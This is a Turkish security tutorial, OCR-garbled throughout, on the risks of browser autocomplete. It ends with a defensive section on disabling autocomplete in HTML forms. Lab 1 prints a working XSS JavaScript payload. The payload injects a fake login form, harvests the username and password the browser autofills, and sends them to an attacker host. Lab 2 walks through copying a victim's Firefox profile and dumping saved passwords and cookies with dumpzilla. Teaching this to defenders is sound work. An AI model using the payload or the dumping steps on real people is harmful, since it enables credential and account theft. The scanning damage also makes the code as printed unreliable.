Autocomplete Enabled

Cogu web tarayict HTML formlarina girilen kullanici hesaplarini hatirlatma konusunda bir
mekanizmaya sahiptirler. Bu mekanizma enable edildiginde kullanici hesaplar kullanicinin
makinesine depolanir. Depolanan kullanici hesaplari bir sonraki ziyarette ise tarayici tarafindan ayni
uygulamaya cekilir.

Kullanic1 makinesinde depolanan otomatik tamamlama verileri kullanicinin makinesine “kullanici
seviyesinde kod calistirma haklariyla sizarak” ya da “fiziksel anlamda makineye eriserek” elde
edilebilir. Ornegin kullamci seviyesinde kod ¢alistirma haklariyla sizma sonucu otomatik
tamamlama verilerini almak icin ilgili web uygulamanin farkli zafiyetlerinden (6rn; XSS
zafiyetinden) yararlanilabilir.

Hemen hemen tiim modern web tarayicilar1 kullanici hesaplarim hatirlatmak icin bir mekanizmaya
sahiptirler. Ayriyetten kullanicilar third-party uygulamalar ile de hesaplarini yonetebilmektedirler.
Tiim bu ¢oziimler kullanicilarin zamanini kurtarmaktadir ve genellikle sifre unutmalarina karsi
yardimci olmaktadir. Hem tarayicilarin hem de third-party uygulamalarin sifre hatirlatma
mekanizmalarindaki en goze ¢arpan problem XSS ile somiiriilebilmesidir. Ciinkii bir¢ok sifre
hatirlatma mekanizmasi login form'larim1 doldurdugu igin saldirgan form bir kez dolduruldu mu
Javascript ile metin kutularinin iceriklerini okuyabilir ve icerikleri Ajax talebi ile kendi sunucusuna
gondererek hesaplar ele gecirebilir. Bu islem nasil gerceklesir detaylariyla Uygulama 1 bagliginda
anlatilacaktir.

XSS zafiyetine kars1 yaygin ve etkili olan ¢6ziimlerden biri oturum cerezlerine HTTPOnly
bayragini eklemektir. Bu ¢oziim genellikle saldirganlarin XSS ile kullanici gerezlerini ¢calmasinin
oniine gecer. Ancak yine de bu ¢6ziimiin etrafindan dolanarak HTTP Trace metodu yoluyla
kullanici gerezleri ¢alinabilmektedir. Fakat uygulamada hem HttpOnly 6nlemi varsa ve hem de
HTTP Trace metodu kapatilmigsa her ne kadar kullanici ¢erezlerinin ¢calinmasinin 6niine gecilmis
olsa da halen kullanici hesaplar risk altindadir. XSS ile alinabilirler.

Kullanic1 makinesinde depolanan otomatik tamamlama verileri ayrica son kullanici bilgisayarina
fiziksel erisim imkanina sahip olundugunda da elde edilebilir. Ornegin son kullamc: bilgisayarina
fiziksel erisim imkanina sahip saldirganlar (ortak bilgisayarlarin kullanildig1 internet cafe, havaalani
terminalleri, ev gibi mekanlarda) son kullanici bilgisayarinda son kullanicinin web tarayicisi
verilerini dump eden otomatize tool’lar kullanabilirler ve otomatik tamamlama verilerini alabilirler
veya otomatize tool’larin kullaniminin miimkiin olmadig1 durumlarda son kullaniciya ait
bilgisayarda web tarayicida tarayici gecmisinden en son ziyaret edilen web sayfalarini ziyaret
edebilirler ve 6nceki girilen otomatik tamamla denmis verileri tarayicida gezinirken otomatik
tamamlanmasi sonucu alabilirler. Son kullanici bilgisayarlarina fiziksel erisim yoluyla otomatize
tool’lar kullanarak web tarayici verilerini dump etme ve otomatik tamamlama verilerini elde etme
Uygulama 2 basliginda anlatilacaktir.

Bilgi:

Son kullanici bilgisayarina fiziksel erisim imkanina sahip olan saldirganlar son kullanici
bilgisayarindaki web tarayicida 6nceki ziyaret edilen web sitelerini gezinirken otomatik
tamamlamanin tetiklenmesiyle metin kutularinin dolmasi ve verilerin elde edilmesi yolunda
parola icin tarayici arayiiziinde saklama oldugundan sag tik denetle yapip <input kutusunun
type kismindaki “password”{i “text” yaparak otomatik tamamlama ile dolan parola bilgisini
elde edebilirler.



Sonug olarak bir web uygulamada otomatik tamamlamanin agik birakilmasi acikligi son kullanici
bilgisayarlarina yazilimsal olarak basarili bir sizma girisiminde veya fiziksel olarak erisim imkani
elde edildiginde otomatik tamamlama verilerinin ¢alinabilmesine yol acar. Bu nedenle web
uygulamalarda otomatik tamamlamanin kapatilmasi 6nerilmektedir. Bu sayede son kullanici
bilgisayarlarinda web uygulamaya dair hassas veriler depolanmamis olacaktir ve son kullanici
giivenligi arttirllmis olacaktir.

Uygulama 1
(+) Birebir denenmistir ve basariyla uygulanmstir.

Bu baslik altinda XSS zafiyeti tizerinden uygulamada autocomplete edilen kullanici hesaplarin
calma islemi gosterilecektir.

Gereksinimler
/var/www/Autocomplete Credential Calma Uygulamasi/

Uygulamaya gore iki sayfa mevcuttur. Birinci sayfada (index.php'de) login formu, ikinci sayfada
(reflections.php'de) XSS zafiyeti dolayisiyla kullanici hesabini ¢alma kodlar1 yer almaktadir.

Not:
Bu uygulamadadaki XSS ile kullanici hesaplarini ¢calma isleminin agagidaki sifre
hatirlatma mekanizmalarinda sinandig1 ve sorunsuz ¢alistig1 belirtilmekte.

LastPass (Current version as of April 2012)
Chrome (version 17)

Firefox (version 11)

Internet Explorer (version 9)

Oncelikle kullamci login sayfasini goriintiileyecektir ve bilgilerini girecektir (Bilgiler
username:user1, password:secret).
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Sifre hatirlama mekanizmasi girilen bilgileri daha sonra hatirlatayim mu diye sordugunda evet
denilecektir.
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Ardindan kullanici uygulamanin XSS zafiyetine sahip sayfasina (ikinci sayfaya) gidecektir.
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Saldirgan ikinci sayfada yer alan XSS zafiyeti dolayisiyla asagidaki Javascript kodlarini ikinci
sayfaya yerlestirdi diyelim.

<script type="text/javascript">
ex_username = ";
ex_password =";
inter =";
function attack(){
ex_username = document.getElementById(‘username').value;

ex_password = document.getElementByld('password').value;
if(ex_username !=" | ex_password !="){
document.getElementBylId('xss').style.display = mone'
request=new XMLHttpRequest();
url = "http://www.attackersite/pw/xss?username="+ex_username+"&password="+ex_password;
request.open("GET",url,true);

request.send();
document.getElementByld('xss').style.visibility="hidden';

window.clearInterval(inter);

}
}

document.write("\

<div id="xss">\

<form method="post' action="index.php'>\

username:<input type="text' name="username' id="username' value=" autocomplete="on">\

password:<input type='password' name="'password' id="password' value=" autocomplete='on">\
<input type='submit' name="login' value='Log In">\
</form>\



</div>\

")

inter = window.setInterval("attack()",100);
</script>

Not: Bu Javascript kodlar1 Internet Explorer'da uyumsuzluk nedeniyle calismamaktadir.

Bu yerlegtirilen javascript kodlar ikinci sayfaya uygulamanin login sayfasinda kullanilan name
attribute degerleriyle aynmi olan kullanici adi ve sifre textbox'lar1 koymaktadir. Kurban uygulamanin
gercek login sayfasinda autocomplete'e evet dedigi icin tarayici ayni uygulamanin XSS zafiyetine
sahip sayfasinda yer alacak login formunu da otomatik dolduracaktir.
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Tarayicinin bu sahte login formuna yaptig1 dolum islemi sonrasi Javascript kodlar textbox'lardaki
degerleri alacaktir ve AJAX kodlar ile bu degerleri (kullanici adi ve sifreyi) saldirganin sitesine
gonderecektir.
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Boylelikle kurbanin hesabi calinmis olacaktir. ilk bakista neden textbox'lara onchange event'1
konarak AJAX talebi tetiklemesi yapilmad: sorusu akla gelebilir. Bunun nedeni onchange event'inin
tarayicilar arasinda pek de giivenilir sonucglar vermemesinden dolayidir. Onchange yerine
textbox'larin otomatik doldurulmasi zamanlamasi dolayisiyla (belirtilen siirede bekleyen ve siire
bittiginde belirtilen fonksiyonu caligtiran) window.setInterval event'i kullanilmistir. Bu event daha
az zarif olsa da ¢ok daha etkilidir.

Yukaridaki javascript kodlar IE'de calismamaktadir. Internet Explorer'da ¢calismamasinin nedeni
Internet Explorer'un sifre hatirlatma mekanizmasinin kullanici hesaplarini otomatik olarak
doldurmamasindan dolayidir. Goriindiigii kadariyla Internet Explorer kullanici hesaplarini domain



bazinda, yani uygulamanin tamaminda hatirlatma yerine sadece spesifik bir sayfaya 6zgii hatirlatma
yapmaktadir. Bu islem kullanilirlik agisindan pek de uygun olmasa da sifre hatirlatma
mekanizmasinin giivenligini yiikseltme bakimindan faydali olmaktadir.

Form alanlar hassas bilgiler (6r; kullanici adi, TC kimlik numarasi, kredi kart numarasi, CV'V,...
gibi bilgiler) icerebilir. Dolayisiyla autocomplete islevinin hassas form alanlarinda kullanilmamasi
onerilmektedir.

Uygulama 2

(~) Birebir denenmistir ve kismen bagariyla uygulanmistir.

Gereksinimler
Ubuntu 18.04 LTS - Firefox // Son Kullanic1 Makinesi - Ana Makine
Kali 2021.2 VM - Dumpzilla // Saldirgan Makinesi - Sanal Makine

Dumpzilla Firefox, Iceweasel and Seamonkey web tarayicilar i¢in tarayicida depolu bilgileri dump
etmeye yarayan bir forensic aracidir. Bu uygulamada son kullanic1 bilgisayar1 Ubuntu 18.04 LTS ’ye
fiziksel erigsim imkani olan bir saldirganin Firefox web tarayic1 cache klasoriinii kopyalayip aldigi
varsaylilacaktir ve saldirganin kendi sisteminde (Kali 2021.2’de) bu aldig1 klasorii dumpzilla ile
parse etmesi sonucu son kullanici web tarayici bilgilerini dump etmesi ve otomatik tamamlama
verilerini (web tarayicida kayith parolalar1) okuma uygulamasi yapilacaktir.

Oncelikle Ubuntu 18.04 LTS ana makinesindeki Firefox web tarayicimin cache klasérii alinr.
Ubuntu 18.04 LTS Terminal:

> cp -R /home/hefese/.mozilla "/home/hefese/Desktop/Mozilla Cache Folder"
> zip -r "Mozilla Cache Folder.zip" "Mozilla Cache Folder/"

(Ardindan USB ile dosya alinir )
Not:

Mozilla Firefox’un Cache klasor icin cesitli isletim sistemlerindeki konumu dumpzilla’nin
help meniisiinde gosterilmektedir.

WinXP profile -> 'C:\Documents and Settings\% USERNAME%\Application Data\Mozilla'
Win7 profile ->'C:\Users\%USERNAME%\AppData\Roaming\Mozilla'

MacOS profile -> '/Users/SUSER/Library/Application Support/Firefox'

Unix profile -> '/home/$USER/.mozilla/"

Saldirgan kendi sisteminde dumpzilla adi verilen Firefox enumeration aracim aldig1 cache
klasoriindeki bir klasorii gostererek kullanir ve son kullanicinin Firefox hareketlerini ve bilgilerini
gortintiiler.

Kali 2021.2 Terminal:
> unzip Mozilla\ Cache\ Folder.zip

> cd "Mozilla Cache Folder/Firefox/"
> apt-get install dumpzilla



> dumpzilla s3fyn18u.default/ --History // Cache klasoriindeki xxx.default/
// isimli klasér gosterilir

Not:

Mozilla Firefox cache klasoriindeki hangi dosyanin dumpzilla’ya verilecegi bilgisi
dumpzilla’nin help meniisiinde gosterilmektedir.

WinXP profile -> 'C:\Documents and Settings\% USERNAME%\Application Data\Mozilla\
Firefox\Profiles\xxxx.default'

Win7 profile ->'C:\Users\%USERNAME%\AppData\Roaming\Mozilla\Firefox\Profiles\
xxxx.default’

MacOS profile -> '/Users/SUSER/Library/Application Support/Firefox/Profiles/
xxxx.default’

Unix profile ->'/home/$USER/.mozilla/firefox/xxxx.default'

Cikti:
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Goriildiigii tizere cache klasoriinde --History parametresi ile son kullanicinin firefox web tarayicida
ziyaret ettigi web siteler bilgisini okuduk. Ayni sekilde 6rnegin --Cookies parametresi ile son
kullanicinin firefox web tarayicidaki gerezlerini okuyabiliriz.

Kali 2021.2 Terminal:

> dumpzilla s3fyn18u.default/ --Cookies

GCikti:
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Son kullanicinin web tarayicida depolu otomatik tamamlama verilerini okuyabilmek igin --
Passwords parametresi kullanilmalidir. Bu parametre ile son kullanicinin firefox web tarayicidaki
ziyaret ettigi web sitelerdeki Beni Hatirla yaptig1 kayitli kullanici adi ve parola gibi bilgiler
okunabilir.

Kali 2021.2 Terminal:
> dumpzilla s3fyn18u.default/ --Passwords
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Goriildiigii tizere cache klasoriinde --Passwords parametresi ile son kullanicinin firefox web
tarayicida ziyaret ettigi web sitelerdeki otomatik tamamla dedigi kullanici ad1 ve parolalarini
okuduk.

[*] Uyar1:

Mozilla Firefox’da beni hatirla halinde olan bagka kullanici adi ve parola ikilileri de
mevcuttu. Fakat onlar cache klasoériinden okunamamustir.

[*] Not:

Cache klasoriinden tiim okunabilecek bilgileri ekrana basmak i¢in dumpzilla parametresiz
kullanilabilir.

Kali 2021.2 Terminal:
> dumpzilla s3fyn18u.default/

Cikti:
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Sonug olarak son kullanicinin bilgisayarindaki Firefox cache klasériinden dumpzilla tool’u ile web
tarayici bilgileri dump edilerek otomatik tamamlama verileri calinabilmistir.



Autocomplete Enabled Zafiyeti Nasil Kapatilir?

Web tarayicilarinin HTML formlarina girilen hesaplari yerel makinede depolamasinin 6niine
gecebilmek icin autocomplete="off" 6zelligi (tiim form alanlarim1 korumak maksadiyla) form etiketi
icerisine yerlestirilmelidir.

<form method="POST" action="index.php" autocomplete="off">
username:<input type="text" name="username"><br>
password:<input type="password" name="password"><br>
<input type="submit" name="login" value="Log In">

</form>

—n

Tiim form alanlarini1 korumanin yerine daha ¢ok spesifik form alanlarim1 korumak icin ise belirli
input etiketleri icerisine autocomplete="off" 6zelligi konabilir.

<form method="POST" action="index.php">
username:<input type="text" name="username"><br>
password:<input type="password" name="password" autocomplete="off"><br>
<input type="submit" name="login" value="Log In">

</form>

—n

Asagidaki kullamim ise tarayicilar arasindaki uyumsuzlugu gidermek anlaminda en ideal olamdir:

<form method="POST" action="index.php" autocomplete=""off">
username:<input type="text" name="username" autocomplete="off"><br>
password:<input type="password" name="password" autocomplete="off"><br>
<input type="submit" name="login" value="Log In">

</form>

—n

Ancak dikkat edilmesi gereken bir sey var ki o da modern web tarayicilarinin bu direktifleri
gormezden gelebilmesidir. Buna ragmen yine de autocomplete'i off degeriyle hi¢ kullanmamaktansa
kullanmak daha yerinde bir tercihtir.
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